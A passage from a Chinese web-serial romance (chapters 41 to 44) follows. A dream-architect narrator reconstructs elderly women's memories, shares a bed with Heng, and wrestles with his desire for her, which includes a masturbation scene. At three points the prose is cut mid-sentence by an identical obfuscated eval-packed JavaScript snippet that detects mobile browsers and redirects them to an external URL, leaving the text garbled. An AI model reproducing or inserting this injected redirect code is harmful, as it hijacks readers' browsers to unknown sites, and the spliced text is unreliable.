于兰花的声音在我头顶响起:“那时候我这么瘦啊!”然后她开始怀疑我和珩的能力:“你俩真能让我重新变成以前的样子吗?”我跟她保证:“很简单,你甚至现在就可以试一试。”我把那片她照镜子看自己的记忆翻来覆去地看了好几遍,记住了她的外貌特征,之后从她黑漆漆的仓库里探出头来,把我记忆里的她贴到现在的她身上。她低头看了一眼自己的手,之后震惊地看向我,我适时地给她变出来一面镜子,放到了她的手里。她看着镜子里的自己,之后皱皱眉,伸手指向嘴边的一小块灰色胎记:“哎呦这东西我是在三十岁点掉的,要不我们去三十岁?不行,那时候生完小孩胖多了。你能把它点掉吗?” 我的建模素材有限,她那天穿的长袖衬衣,袖子下面的皮肤没有数据,她一动,七十岁阿婆的皮肤就从袖口露了出来。 幸好她没发现,不然还真够吓人的。 41. 人生节点 等我和花阿姨从梦里醒过来的时候,时间已是中午。她倒好,她只是坐在妈妈的三轮车后座,回顾了一下自己的年少时光。我就痛苦了,我在她黑漆漆乱糟糟的记忆库里跑了半个早上,之后反复阅读她的记忆,把它们都记到我自己的脑子里,以此度过了剩下的半个早上。我醒来的时候几乎是个死人,大脑完全过载,瘫在躺椅上睁眼看头顶的大榕树,双眼无神,表情麻木,比珩的NPC看起来班味更重。我就看着花阿姨伸了个懒腰,一脸惊喜地跟珩说刚才的见闻,然后夸我多神奇多聪明多厉害云云,我平时没见过什么世面,听到别人夸我,心情都很膨胀。今天我膨胀不了一点。我仿佛一条晒太阳的死鱼,听花阿姨洋洋洒洒地演讲一轮,看她忽然间低头看表,大喊一声“哎呀孙子补习班下课了我要去接他”,之后匆忙要走。我用我仅剩的一条反射弧控制右手举起来,僵硬地跟她挥手道别。 她一走,珩就窜到我旁边的躺椅上躺下,她一手撑着头,歪着看我。 她问我:“你还好吗?” “不好。”死鱼一动不动地发话,“我这辈子没这么高强度用过脑。我的脑子要爆炸了。” 她好像在笑。真的很烦。不想忍她了。死鱼的眼球往她身上转过去,之后给她翻了一个白眼。 “要不要这么看我啊,”她说,“请你吃饭咯?” “这次是几点,长者饭堂中午十一点半开饭是吧?还是中午先饿着,晚上六点才开饭?” “你这人怎么这样,我说请你吃饭,你怎么就这么看我,我是这么抠的人吗?” “哎你要不要进我脑子看看,我给你放那天的录音,就骗我带小孩写作业那天。”? “一顿饭而已,你这人怎么这么记仇?” “你这人怎么这样,你还指责上我了?” 我嘴上跟她急,人依然动不了,我的大脑被强制休息了,我就像一条死鱼,在阳光的暴晒下激烈地口吐白沫。 她看着我笑:“所以你吃不吃?” “你请我就吃。”? “那你起来,我饿了,现在就出发。” 我的眼睛朝她所在的方向一轮:“你觉得我要是能起来,我还会躺在这里吗?” 她笑得更开心了,她从躺椅上灵活地跳下来,显摆似的走到我面前,伸出一只手:“要不要拉你一把?” 我没回答。因为我的脑力不足以完成回答问题和伸手两个事情,我只能选一样。我艰难地在我一堆沉睡的神经元里,找到还醒着的那一个,让它叫醒我的脊髓,帮我完成伸手的动作。我的浅感觉已经关闭了,我感知不到她的手,她用力拉我,我一点力气使不出来,像个沙包一样被她扯离床面几寸,她说一句“你怎么这么重”,之后就松了手。死鱼“哒”的一声倒回躺椅上,她揉揉自己的手腕:“你睡吧。不管你了。” “喂——” 我的话被堵住了,因为她又使用一些我不知道的催眠手段,把我放倒了。不得不说真是人不可貌相,有的人长得斯文乖巧(比如我自己),结果修的都是害人的法术,有的人说话难听把人骂得满地找头,结果是个疗愈系的角色,一秒把人击倒,之后就派出按摩专员小猫,四只猫爪在我的大脑上按来又按去。 最后我是饿醒的。难怪珩食量这么大,动脑的工作真是耗能。我和她又跑到五中后面的街区觅食,现在已经是十二点半,吃午饭的大潮已经过去,我和她在米线店坐下,我饿得两眼放青光,一进门就点了个手撕鸡米线加手撕鸡加米线再加一份墨鱼丸一份牛筋丸,之后我在老板微微惊讶的眼神里回头看珩。我问她:“你吃什么?”她说:“跟你一样吧。”我跟老板说,把上面那些复制一份(我的脑子还没完全好,想不起来“再来一份”这个词),给她贴过去。老板狐疑地看了珩一眼,最后还是按照我的要求下了单。这家米线的碗特别特别大,比珩的脸都大,我和珩就坐在靠门口的位置,两个人点了两碗加料加满几乎要溢出来的米线,埋头猛吃。路过的人都好奇地看着我们,因为我们吃得太香,有几个甚至看完就进店。老板非常懂事,给我们两个饿鬼投胎的真人广告牌一人送了一瓶冰豆奶,并且热情地邀请我们多多光顾。 下午来的是张阿姨,说实话,幸好是她。她退休之前是个建筑师,那个年代里难得的高级知识分子,大脑整理得妥妥帖帖,找她的记忆并不费神。张阿姨原名张雨铃,“雨霖铃”的雨铃,名字有些过于温柔了,她在社区活动中心里可以算是中气最足的那一拨人,声如洪钟气贯长虹,雨霖铃也是夏天台风正面吹过来时的那种十二级大风加暴雨级别的。我想她当时应该在一个很不错的单位里,遇上了一批很不错的同事,她的“家”居然是她在单位里午休时常去的阅览休息室。她的记忆很整齐,几乎没有噪声,虽然她是整个社区活动中心里最八卦我和珩的人,但这对她来说显然只是一种消遣。关于我们,或者关于其他人的无关紧要的事情的记忆,都没在她的的仓储里留下痕迹。我几乎没费多大功夫就找到了二十七岁的她——硕士毕业一年,在市里建筑设计院工作,每天热衷于听所有人的家长里短,以分散工作所需之外的少量空闲注意力。 她一出来,我就留意到她的门牙。她有一颗门牙是歪的,这让她的一边嘴角天然地往下垂,显出一种不太高兴的样子。我忽然就想到了早上的于兰花阿姨,她让我按照她二十三岁的样子建模,之后又让我把她三十岁才点掉的痣去掉。张雨铃阿姨大概是修过她的牙齿,我自作主张地把她的牙修成了现在的样子,结果她看到自己,第一句话就是问我“牙哪去了”。 她说那颗牙已经歪了二十多年,她小时候一直因此被嘲笑,但后来她和它和解了,她想它长成这样,必然有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277234|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它的难处。她为此去口腔医院检查,医生说她左右两颗牙长偏了一点,因此这颗歪牙的生存空间受到挤压,不得已之下,它长歪了。“这么说来,它还是受害者呢!”她这么跟医生说。医生觉得她有意思,还回她一句“对啊你拔它是错怪好牙,按理来说你应该把两边拔了,然后把它摆正,还它公道”。一般医生是不会这么说话的,虽然我是个恋爱白痴,但在社区活动中心听了那么多阿伯阿婆年轻时的爱情故事和一万吨多愁善感路老师的心路历程之后,我敏锐地意识到这个牙医就是张阿姨那个沉迷观鸟常年背着个装着大镜头的龟背书包来接她回家吃晚饭的老伴。总之她就和她的牙和解了。但后来,某次她去旅游,滑雪的时候摔倒,正好把这颗蒙冤的门牙摔断了。她一度想把它修回原来的模样,但修个歪掉的门牙,无疑是在砸她爱人的招牌。最后她爱人给她修了个完美的新门牙,她也就成了现在我看到的样子。 她说那颗门牙是她的“人生节点”之一,再过十年,再过二十年,等她老年痴呆了,她也许还会记得,门牙是在她三十七岁的时候摔断的。她说我还小,要记住的过去还不多,回忆事情的时候还是用“我几岁的时候”做开头。等我到了她这个岁数,事情就会由“退休”“孙子会走路”“得高血压”这种时间节点来分界。之后她问我,你有什么重大的时间节点了吗?我居然在那一刻想起了我第一次见珩的那一天。我的天哪,我为什么会想起那一天。过了一秒我才反应过来,这时候我应该想起的是四年前国庆假期前操场上那个踢中我后脑勺的足球,那才是我过去和现在,虚幻与现实的分水岭。 珩给司徒阿姨设计这个婚礼,其实已经有些时候了。但最近,好像是因为司徒阿姨的老伴身体不太好了,她本人又有点老年痴呆的前兆,事情一下子就变得紧急了起来。我不知道是不是该感谢时间,要不是因为珩着急要把这个大工程完结,她也不会看上我的脑子,我也就无从让她帮我找回我的记忆。 她确实是有点着急,我不用问都知道现在司徒阿姨的老伴情况不太妙,因为向来懒散的珩,近来每天都在忙婚礼的事。因为婚礼的主场景存在我的记忆里,她每天都要来找我。我白天还要上班,于是她就在晚上来我家。我不知道她是设定了什么神奇的生物钟,她每天晚上九点准时陷入昏迷,第二天早上九点准时醒来。教堂建在我记忆的“家”里,没有我她进不去,因此我每天只能陪她八点钟就躺到床上,在她延长的一小时里和她一起赶工,之后她在梦里和我道别,她开始她长达十二小时的休眠,而我可以选择醒来或继续睡。要是没有那个在社区活动中心找记忆的周末,我必然会想“谁家好人二十多岁了九点睡觉啊我要起来打游戏”,现在我可以预见之后的每一个夜晚,我都会像一条死鱼一样,在大脑完全没电的状态下,和珩一起昏迷,直到第二天闹钟响起,催我去上班。 42. 情难自控 虽然珩已经来过我家两次,她要来之前,我还是好紧张。我装模作样地把家里收拾出一种“干净整洁热爱生活”的样子,买来就没用过的面包机和豆浆机擦干净放到厨房桌上(早上实在是起不来谁有空用这些东西),连夜购买的几本书放到书柜里(平时这个位置用于放我的干净袜子,因为离鞋架最近),我把客厅里乱堆的东西都分类放好,检查一轮犄角旮旯里没有遗留零食袋子饮料易拉罐,之后我在沙发上紧张地坐着,等着珩在约好的八点钟到达。七点五十五分的时候我不安的眼睛在电视机旁边的角落发现了我洗干净放在那里晾着的飞机杯,我嗖地一下弹起来,手刚拿到杯子,门铃就响了。要知道珩的耐性只有五秒钟,我只好把杯子塞到我的裤子口袋里,然后去开门。 裤子有点旧了,裤腰的橡皮筋老化,因为只有一边口袋里放着东西,它现在正以一个歪斜的姿势挂在我的腰上。我心虚到爆炸,无来由地害怕珩会看我的口袋,我假装没事发生,让她进屋。她换好鞋的时候,墙上挂钟的时间正好走到八点。好消息是她根本没看我的口袋,坏消息是她也没看我收拾了两个小时的屋子。她看起来有点累,比平时看起来更兴趣寡淡。她把自己的鞋放好在鞋架上,之后就站在我面前,抬头看我。“八点了,开始吧?”她说,“熊还在吗?” 我点点头,之后就看着她在啪嗒啪嗒没精打采的拖鞋声里往我的房间走去。我跟上去给她开灯的时候,她已经在床上躺着了。我转身去柜子里翻她之前抱过的毛绒玩具熊,她眼睛也没睁开,张开怀抱等我把熊扔过去。她抱住熊翻了个身,我匆忙出去,把易拉罐扔掉,顺带又尿了一次(其实一个小时前刚尿完,但因为我在快要被尿憋醒的时候总会做裸奔的怪梦,我怕她看见,虽然她上次在浴室的记忆里基本什么都看过就是了),然后循着出来的路线把家里的灯都关了。 我在黑暗中摸上床,她有些非人类的坦荡,我没有。虽然明知道我和她接下来的事情和在社区活动中心的大榕树下时不会有什么区别,但这是我的房间。我又使了一些花招,我把听力以外的所有感官都短暂关闭了,我感受不到她呼吸时周围气息的流动和她翻身时身下床垫的轻微颤动,果然这样我才能专注。但她的手钻到我手心里的时候我也没发现。“喂!”她喊我。因为其他感官都被关掉了,这短促的一个音节在房间四堵墙间来回碰撞,震得我惊醒过来,慌忙地把其他感官都打开,于是陡然看见黑夜里她的脸在离我很近的地方,她的皮肤在深棕色的毛绒熊衬托下显得很白,眼睛亮亮地看着我。 “哦,忘了。”我若无其事地握住她的手,就像前几天在榕树下时一样。她也没多问,在我和她十指紧扣的那一瞬间,我的胃和肠子又像一窝被惊醒的蛇,呼噜呼噜一阵慌乱的搅动,之后毫无预兆地,我又睡着了。 我已经不用刻意去寻“安全感”的记忆,我只需要集中注意力去想一下和她紧握着的那只手,仔细地感受我手掌皮肤上关于她的触感,我和她就能穿过那片黑色的密度不均匀的太空,然后回家。 …… 我和她真的很像那种人到中年,对彼此没有兴趣,住在一起睡在一起,同床异梦的夫妻。在现实中我和她手牵手躺在同一张床上,在梦里我把她带到我最私密的记忆中心里,结果我们只是非常有边界感地各做各的事。她坐在客厅漂浮的沙发上,拿出茶几玻璃底下压着的照片,走进照片里修教堂。而我在房间里翻这些天从阿姨们记忆里捞出来的影像,开始给她们建模。我忽然分心了一下——幸好她不喜欢我,不然她应该上小红书微博或者姐妹群里发一条,“怎么办啊认识了几个月的男生第一次牵着手睡觉结果纯睡觉他不会是不行吧”,然后底下的人一半在劝分一半在鉴gay。好好笑。我还没有完全学会分裂我的意识,所以我在这边笑,珩的教堂在地震。一秒钟之后我听到她在外面大喊:“你专心点行吗你把我的吊灯晃掉了!”吓得我赶紧道歉。 一个小时之后,到点睡觉的珩掉出了我的梦境。 我不知道在什么时候也睡了过去,大概是因为珩在我旁边睡着了,她身上逸散的魔力让我睡得像被麻醉了一样,我一点梦也没做,一眨眼的时间十个小时就过去了。天亮了,我睡觉不拉窗帘,像之前每一个寻常的早上一样,照进来的阳光唤醒我最活跃的那一小群神经元,它们在我的脑子里胡言乱语乱发信号,而我做一些混乱的不连续的没有逻辑的梦。 我早就在十小时的深睡眠和一大堆杂七杂八的梦境碎片里短暂地遗忘了前一个晚上的事情,七点半闹钟响了,我闭着眼睛摸到床头柜的手机,一顿乱摁把闹钟摁掉。之后我隐约感觉到下|半|身有点发胀,因为我平时都是踩点打卡,所以我准备爬起来洗把脸冷静冷静,然后刷牙换衣服上班。但我不知怎的忽然睁眼看了一下床头的钟,现在的时间不是七点半,而是七点。想起来了。昨天我把闹钟往前调了半个小时,这是为什么来着? 想不起来了。想不起来拉倒。总之我现在多了半个小时的时间。这意味着我今天早上可以不用保持直立状态刷牙等待它自然冷静,好,也许这就是传说中的早起的好处。我怀着一种无比闲适的心情,手蠢蠢欲动地往下探,并且大脑自动寻找一些适合制造氛围的片段,嗯,我上次看的是什么来着?上次……上次是什么时候,好像是某个晚上,我做了个很逼真的春梦。等等。 ……我好像想起来我为什么把闹钟往前调半个小时了。 因为我打算今天早上做个早饭,因为此时此刻我的旁边应该还睡着另一个人。 我猛地睁开眼,此时我的右手已经到了裤腰的位置,而珩面向我侧躺着,她抱着她的毛绒玩具熊,脸离我的手臂不过二十厘米。她的呼吸均匀而缓慢,人完全放松,手搭在熊上,指尖险些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300345|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要碰到我。我的心脏几乎要从喉咙里跳出来。谢天谢地,珩的睡眠质量仿佛婴儿,我千万分希望我刚刚的一系列动静她都没发现。救命。 我平滑地从我这一侧的床上滑到地面,不引起任何重力的扰动。我该赶紧走的,但我走之前不由得回头看了一眼。珩穿着短袖和短裤,裸露的手臂和大腿皮肤同样泛着若有若无的珠光。我能明显地感受到一种原始的野蛮的冲动在我的体内冲撞,本应冷却下去的某个部位因为我不由自主地回想起的一些关于她的混乱的片段而变得更加炽热。这种本能的甚至有些卑劣的冲动渐渐压过我的理性,把我的大脑接管过去。我一边难以自控地回想起那个夜晚抚摸我的手,一边又为自己居然对她产生非分之想而自责。我明白,是这样,繁殖是人类的本能,任何一个像我这个年龄的男人,在和一个年轻漂亮的女孩躺在同一张床上时,都会不由自主地在早晨雄激素的高峰下动这种念头,这是个人类共性的问题,不是我个人的问题。我只要忽视激素的干扰,不作出任何不合时宜的行动,那就没问题。 好的没问题,没问题,我很道德,我没问题,我没问题。 刷牙的时候我看着镜子里的自己,天气有点热,我穿的速干T恤,衣服下隐约可以看见我左边胸廓那两块微微隆起的骨痂。我想起第一次见她的时候,她在浴室里伸手摸我变形的肋骨。不是……我想这个做什么?于是我保持直立状态刷完了牙。 忽略它,忽略它,人是高等生物,不能被繁殖本能控制!我把面包放到面包机里,时间到了,开关“啪”地一声归位,两片烘得微微焦黄的面包弹起。我把面包夹到盘子里,将芝士片放到上面,芝士片被滚烫的面包融化,变成柔软的半固体黏在上面。等她起床的时候它已经冷了吧?应该不会流到手上吧?然后我又想起她的手。那天在车里我隔着衬衫袖子抓到了她的指尖,她的手好软,像一条小鱼。不是我怎么又在想她?激素好可怕。反正我保持直立状态做完了早饭。 不能再这样了,我冲进浴室里,打开水龙头,把水温开到最低,头塞到水龙头底下淋。没有用,一点用都没有。寒冷的感觉让我想起我自己的陷阱,之后我更会想到她。我一定是单身太久了,一定是缺爱,一定是把情感上的依恋当成喜欢,总之我不可能喜欢她,我不可能真的喜欢她,我可以是好色,可以是精虫上脑,可以是下|半|身接管大脑,可以是一切,总之不能喜欢她。 我破罐子破摔,干脆把浴室门锁上,用手解决的时候我强迫自己去想我遇到她之前的性幻想——长头发,身材丰满,大长腿,穿上高跟鞋几乎和我一样高大。舒服吗?舒服的。肉|体感觉才不会受纠结自责的意识干扰。只是发泄完之后觉得世界空得过分,人有点发冷,那几个持续在想她并且因此被我暴风责骂的神经元,委委屈屈地想念她总派来给我的大脑皮层按摩的小猫。我真是完蛋了。 43. 多花生 珩来了好几个晚上,第一天我很挣扎,渐渐地我习惯了。她的睡相很一般,晚上我们总是端正地平躺着入睡,早上醒来她会以各种不一样的姿势出现在我的床上。她还很喜欢把腿放到自己抱着的东西上,谢谢毛绒玩具熊,每天被抱的都是它,如果没有它,那被抱的就会是我。我那几个色胆包天的神经元想象到她把腿缠我腰上的画面时,兴奋得几乎要爆炸。幸好我大多数神经元都比较道德高尚,画面出现的时候它们吓得不轻,恨不得瞬间把我推到浴室里淋冷水。 周六的早上,我该死的生物钟在早上六点五十分的时候把我叫醒。这一个星期里,我已经习惯了和我那些乱七八糟的春梦碎片和平共处。我平躺着,一睁开眼就看见速干裤子下支棱着的我自己,还有旁边抱着个熊,蜷成一团,把我挤到几乎要掉下床的珩。之前我都不敢碰她,但她的睡相实在差得难以忍受,我手摁住她怀里的玩具熊脑袋,用力把她往旁边推。这动作需要使些巧劲,但因为此人已经多次侵占我的休息空间,现在我已经可以熟练地在不把她吵醒的前提下,把她连着熊一大团平移到她原本该待的位置去。但今天我稍有失手,推得太快,她的身体以为自己要摔,腿反射性往我这边一踢,扎扎实实地踢到了我靠近她的大腿上。我疼得咬牙切齿,又怕把她吵醒,只能凑合缩在她给我留下的一小条床上睡觉。烦死了! 我迷迷糊糊地又睡了个回笼觉。回笼觉睡得浅,因而总是在做梦。我的噩梦很多,自从我重新找回了童年挨揍的记忆,噩梦就变得分外生动。我清醒的意识已经将当时的疼痛和恐惧忘得七七八八,但我的梦还替我记着。我总梦见在黑暗的村路上走,周围一个人都没有。那种阴森的恐惧就在我的周围流动,像风一样,在我的耳边吹过来,吹过去。忽而我听见电话铃声响起,似乎有人在讲话。幼时的我在梦里告诉现在的我,当时他就是在深夜的面包车上,听见人贩子说要卖他的眼角膜,他才下定决心要假装上厕所,偷偷从高速公路服务区后面逃跑。手机铃声和听不清内容的人声听得我心惊胆战,但我的身体被魇住了,一点动不了,忽然间我又梦见自己回到家里,窝里横继父一脚往我心窝上踢。我猛地惊醒,珩睡成鸟窝的脑袋就在我面前。我惊恐的目光霎时收下去,继父不在,是她踢我,这样平静的早上对我来说甚至算是有点幸福。 “又做噩梦了?”她问。 “嗯。”? “没事,你醒了,今天又是美好的一天。你不仅不会挨打,还有饭吃。”她说,之后抱着熊翻个身,平平地瘫在我的床上晒太阳(她一个人占了四分之三张床,而我呈条状缩在床边,几乎要摔下去,她的自在和舒展都建立在我的憋屈之上)。她舒服地伸一个懒腰,之后眼睛往我这边转转,只懒惰地把余光转过来看我。“早餐到了,你去楼下拿吧,尾号2569。” 说完,珩大小姐闭上眼睛,听到我下床,她还不忘再指挥我一句:“把窗帘拉一下。”我每天白天上班,晚上接着上班,难怪当时和她拉勾,筑梦师在胸腔里给我狠狠地踹了一脚。这和签了卖身契有什么区别? 是的,没区别,但我就是贱的,她让我去拿外卖,我的肌肉先于脑子行动,等我反应过来的时候,我已经下床了。而我在心里骂骂咧咧,不乐意去拉窗帘的同时,脚已经走到窗子旁边,手已经把窗帘拉上。而珩大小姐此时抱着她的玩具熊,她有没有一米六我不知道,但她此时睡得四仰八叉,完全占满了我一米八宽的大床,一点没有给我预留重新躺倒的空间。有一瞬间我恶毒地想把她摇醒,但看见她放松地合上的眼睛,和悠闲地揉毛绒玩具脑袋的手指,我又觉得算了,让她继续睡吧。 珩点了附近我们经常去的一家肠粉店的外卖,我把餐盒一个个从袋子里拿出来,放在饭桌上。珩每次去都点牛肉肠粉加鸡蛋,我一眼就认出了那是她给自己买的。我打开剩下的盒子,一份双拼肠粉,两碗艇仔粥,其中一碗的盖子上贴着店员写的便条,“多花生”,这是给我的。我看到那张被水蒸气润湿,字洇掉一半,黏在盒盖上的纸条时,手心像沾上什么无形的药水,火辣辣的,之后双手里似有丝丝缕缕的条索在牵拽。难怪那些古早的鸡汤文学总说女孩要富养,不然会被一块蛋糕骗走。这些话现在显得过于夸张,因为像我这样从小到大从来没有被谁在意过的人,大概已经不多了。珩居然记住了我点菜的习惯,虽然这是件小事,但这对于我来说是第一次。这可是第一次有人记住了我喜欢吃什么不喜欢吃什么,这可真的是第一次。不是我一个人在大惊小怪,见过千万种大场面的筑梦师,也被这张纸条吓得不轻。这是我和他都没见过的场面,我就站在原地,捏着那张纸条看,直看到已经认不出“多花生”三个字。我记忆里最孤独,最痛苦的时光,被洗脱长达四年,而他童年时的噩梦一直纠缠着他,因而他的震撼甚至比我更重,我能非常清楚地听到自己的心脏在胸腔里狂跳,他几乎有些失控,他的意识一直命令我盯着那张纸条看,似乎那是什么珍贵的宝藏,非要珍而重之地看一次又一次。 珩懒洋洋地趿拉着拖鞋走出来,我像被冻住了一样站在一桌子的食物旁,只看着一张纸条发呆。她打了一个哈欠,凑过来看,我恍如梦醒,扭头过去看她。 “‘多花生’?,你怎么了你,”她伸手在我呆滞的眼睛前晃晃,“你眼睛怎么红了,不爱花生了?不爱花生了也用不着哭啊,跟你换一碗?” “谁哭了?”我生硬地反驳。 “你啊。”她还追上来。 “我红眼病,我传染你。”我继续生硬地反驳,并且赶她走,“你刷牙了吗?牙都没刷你就过来吃饭。” 她冲我“哼”了一声,又趿拉着她的拖鞋,到浴室刷牙去了。 等她刷完牙,我已经把桌上的食物和包装盒子都收拾好了。餐桌不大,她坐在我旁边,安安静静地吃饭。筑梦师嫉妒我,他嫉妒得快疯了,他在我的胸腔里烦躁地来回踱步,时不时踢墙壁一脚,痛得正在吃饭的我差点咬到自己的舌头。虽然被他踢很痛,但是我心里很得意,嘿,终于也轮到他嫉妒我了。虽然我没他有本事,没他聪明,但我有人在乎。他越生气,我越气他,我故意吃花生吃得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16311566|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘎嘣响,一颗花生吃一分钟。 珩冷不丁在我旁边叫我:“喂。” 我还美着呢,抬头看她的时候脸上还有点笑意。 “你今天怎么了,又哭又笑的,”她说,“等会我们走路去长者饭堂吧,今天天气不错。” 筑梦师现在很敏感很脆弱,听到珩说“我们”,没有人跟他“我们”的可怜蛋,急得又踢我一脚。 我疼得眉头一皱,随后又得意地笑笑,非常爽快地答应:“好啊。” “你今天看起来好分裂,像中邪一样,”她说,“所以花生到底怎么你了?” “没怎么我。” 她的目光追过来,直勾勾盯着我眼睛看:“说。” 我被她骂多了,已经形成条件反射,她在某些情形下真的像个班主任,她追问我的时候还会身体前倾,像野兽一样摆出进攻的姿势,她比我矮一个头,但我很不争气地怕她,她一过来我就后退,与此同时我这张死嘴直接坦白。很难想象我以前可能是个特工。 “就是你居然记得我每次都多加花生,我有点感动。” “……” 她轻轻退回原来的位置,之后又用那种看小猫看小狗的眼神看我。 “我真怕你有天会被拐走,”她说,“你像是那种给块糖就能骗走的小孩,有种清澈的……愚蠢。” “我谢谢你,最后两个字你可以不用说的。” “那不行,最后两个字才是重点。” “你还是吃饭吧,我还是比较喜欢你不说话的时候。” …… 今天天气确实不错,阳光明媚,但不很热。自从多次陷入黑夜背景的噩梦之后,我对阳光有些异于常人的迷恋。我专挑晒的地方走,而我隔壁的珩,用长达小腿的深绿色防晒衣把自己裹成一棵行走的圣诞树,防晒衣自带帽子和口罩功能,她把拉链拉到最高,只留下眼睛看路。阳光下她露出的一小块脸白得过分,她那快要被晒化了的模样让我有一瞬间怀疑她是个吸血鬼。我带了把伞出门,因为我自己想晒太阳,于是我倾斜着伞,只把她遮住。我俩走在路上,仿佛两个不同物种的生物在并肩行走。 我很想问她热不热,还想跟她说其实晒黑一点点也不难看,白瘦幼审美是消费主义的陷阱,等到大家都白瘦幼的时候,就会开始有人鼓吹健康美,并且推销健身房年卡。我还想跟她说常年不晒太阳会缺乏维生素D,据说缺维生素D人会很疲乏,不晒太阳也许就是她每天都像个爬行动物一样懒惰的原因。我话真的很多,我的大脑里每一秒钟都有话冒出来,我每一秒都想找她说话,但她一路上都像一棵沉默的树,我怕她嫌我烦,只好强行保持安静。我对表情的控制还不熟练,为了控制住自己不说话,我连带把脸上的其他肌肉都控制住了。表情僵硬的我和看不到脸的她,像两个古怪的生物,在老城区饱满的活人气息中平滑穿行。 我们就这样安静地走着,快要到社区活动中心的时候,她忽然开口说话了。 “等会你要是在钟灵的记忆里见到什么,你不要告诉她。” 44. 钟灵的回忆 第十章 我过了两秒才反应过来她说的钟灵就是那个漂亮的卷发阿姨。 “啊,好的。”我答应道。 “你不问问为什么吗?” “能问吗?”我具有一个秘密事业单位螺丝钉的良好品德,从来不好奇。 “她的记忆和你一样,被删掉了一部分,我删的。”她的眼睛在深绿色的衣服间隙里看我,“她年轻的时候遭遇了一些可怕的事,她为了能重新生活,找到了我,让我把她的一部分记忆删掉了。” 我想起钟灵阿姨那双温柔的眼睛,很难想象整个社区活动中心里人最和蔼最体贴的她,居然也经历过一些不堪回想的噩梦。 “事情已经过了很多年,她忘了那时候的痛苦,有时候会好奇地问起来,无论她问什么,你都不要说。但你……” “我就含糊其辞,一笔带过,转移她的注意力,不引起好奇。”我打断她的话,“放心,我也被删过,我可以抄自己的作业。” 在我轻描淡写地说出“我也被删过”的时候,她的眼睛里忽然出现了些许柔软的情绪,但它一闪而过,它停留的时间太短,以至于我很快就怀疑那是我的错觉。她看了我一眼,之后又转开目光,接着说道:“我就知道找你合适。反正你看着办吧。” 我们到达社区活动中心的时候,穿着义工红背心的钟灵阿姨正在和今天来的一群老人家做手工。珩把她的防晒衣脱掉,换上对于她来说过于宽大的均码红背心。钟灵阿姨跟在我后面,准备到院子里的榕树下去。珩忽然站起身,她冰凉的手从后面拉住了我。 我回过头来。 她从自己手腕上解下她戴的手链,郑重地放到我的手心。我稍稍往她的方向倾身,她在我耳边小声嘱咐:“要是害怕,你就叫我。” “害怕?”她说得我害怕,这都什么跟什么,别人的记忆我为什么会害怕? 她推了我一下,小声说:“没事,你去吧,反正我在,你记住我在就行。” 我没再问什么,因为钟灵阿姨正站在不远处看我。我攥紧珩给我的手链,想了想,又试着把它戴在手上。那是一条很细的珍珠手链,她腕围太小,我只能把它套在手指上。 因为珩的反复叮嘱,我有点紧张。但钟灵阿姨所谓的可怕回忆,估计已经被删得干干净净,我强作镇定,避免暴露我的些许慌张。我像之前引导于兰花和张雨铃两个阿姨一样,引导她去想家。 “家?”她重复道,之后有些尴尬地说道,“珩有和你说过我的事情吗?我可能忘掉了一部分东西,我好像搬过几次家。我该想哪一个?” “嗯……”我担心我的引导错误会让她想起某些不该想的,毕竟人类的大脑是很危险的地方,某些可怕的记忆质量很大,它们就像个黑洞,一旦靠近,人就会难以自控地被吸入其中。我想我应该往安全的,正面的方向去引导试试。“那我们分两步走,你先想想,’家’这个词会引起你的什么联想?” 她很认真地思索起来,过了一会儿,她答道:“安全感吧?像一个可以躲进去之类的地方。” 我有些不祥的预感。她的答案和我一模一样。只有像我这样的人才会想到“躲”这个字。 “那你找找这种感觉?一个能让你觉得安全的地方,或者一个让你觉得安全的人,物品,之类的。” 她在思考,我在她黑暗的大脑里等待。她关于安全感的记忆很少,她思考的时候,她的大脑里只有相距很远的寥寥几点星光亮起。这几点星光都在离我很远的地方,好像我所在的是一个空无一物的地带,所有光都绕着我走。我在等她的记忆碎片撞向我,忽然间有什么东西在我身后飘过,一阵奇怪的寒风从我的颈后掠过。我警惕地回头,之后一块碎片在黑暗中向我飞来,我被瞬间吸入她的记忆之中。 一间老旧的房子。头顶是老式吊扇,地上是绿白相间的马赛克地砖,这是个客厅,客厅里是以前流行的红木家具,红木雕花的电视柜上放着个黑色29寸大屁股电视机。时间大概在九十年代初,具体判断不清,因为那时候我还没出生,这是我观测范围以外的时间。屋子里没有人,电视机关着,收音机关着,电扇也不转。我想起了珩的话。 “她年轻的时候遭遇了一些可怕的事,她为了能重新生活,找到了我,让我把她的一部分记忆删掉了。” 